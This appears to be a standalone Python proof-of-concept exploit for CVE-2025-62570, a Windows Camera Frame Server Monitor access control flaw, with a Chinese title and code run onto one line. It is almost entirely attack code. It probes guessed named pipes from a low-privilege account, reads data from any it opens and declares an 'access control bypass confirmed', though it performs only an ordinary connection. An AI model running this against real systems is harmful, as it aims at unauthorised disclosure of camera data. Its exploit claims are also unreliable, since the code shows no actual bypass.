CVE-2025-62570 Windows Camera Frame Server Monitor 不当访问控制漏洞

# CVE-2025-62570 PoC - Windows Camera Frame Server Monitor Access Control Bypass # This PoC demonstrates local information disclosure via improper access control # Requirements: Low-privilege local access to Windows system import ctypes import sys import os from ctypes import wintypes # Windows API definitions GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 PIPE_ACCESS_DUPLEX = 0x00000003 PIPE_TYPE_MESSAGE = 0x00000002 PIPE_READMODE_MESSAGE = 0x00000002 PIPE_WAIT = 0x00000000 PIPE_TIMEOUT = 5000 PIPE_UNLIMITED_INSTANCES = 255 INVALID_HANDLE_VALUE = -1 class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [ ('nLength', wintypes.DWORD), ('lpSecurityDescriptor', ctypes.c_void_p), ('bInheritHandle', wintypes.BOOL) ] def create_pipe_client(pipe_name): """Attempt to connect to Camera Frame Server Monitor pipe with improper access""" try: pipe_path = f"\\\\.\\pipe\\{pipe_name}" handle = ctypes.windll.kernel32.CreateFileW( pipe_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) return handle except Exception as e: print(f"[-] Pipe connection failed: {e}") return INVALID_HANDLE_VALUE def exploit_cve_2025_62570(): """Exploit improper access control in Camera Frame Server Monitor""" print("[*] CVE-2025-62570 PoC - Windows Camera Frame Server Monitor") print("[*] Vulnerability: Improper Access Control leading to Information Disclosure") print("[*] CVSS Score: 7.1 (High)") print("[*] Attack Vector: Local") print("[*] Required Privileges: Low") # Check current user privileges print(f"\n[+] Current User: {os.environ.get('USERNAME', 'Unknown')}") print(f"[+] Current Process ID: {os.getpid()}") # Attempt to access Camera Frame Server Monitor pipe # The vulnerability allows bypassing access control checks pipe_names = [ "CameraFrameServer", "FramesServer", "CameraService" ] for pipe_name in pipe_names: print(f"\n[*] Attempting to access pipe: {pipe_name}") handle = create_pipe_client(pipe_name) if handle != INVALID_HANDLE_VALUE: print(f"[!] Successfully connected to {pipe_name}") print("[!] Access control bypass confirmed - information disclosure possible") # Attempt to read frame data buffer = ctypes.create_string_buffer(4096) bytes_read = ctypes.c_ulong() success = ctypes.windll.kernel32.ReadFile( handle, buffer, 4096, ctypes.byref(bytes_read), None ) if success and bytes_read.value > 0: print(f"[+] Retrieved {bytes_read.value} bytes of sensitive data") print(f"[+] Data sample: {buffer.raw[:min(64, bytes_read.value)].hex()}") ctypes.windll.kernel32.CloseHandle(handle) return True else: print(f"[-] Connection to {pipe_name} failed") print("\n[-] Exploitation completed - check results above") print("[*] Note: This PoC demonstrates the vulnerability concept") print("[*] Actual exploitation requires specific conditions and timing") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62570 Information Disclosure PoC") print("Target: Windows Camera Frame Server Monitor") print("=" * 60) if sys.platform != "win32": print("[-] This PoC only works on Windows systems") sys.exit(1) exploit_cve_2025_62570()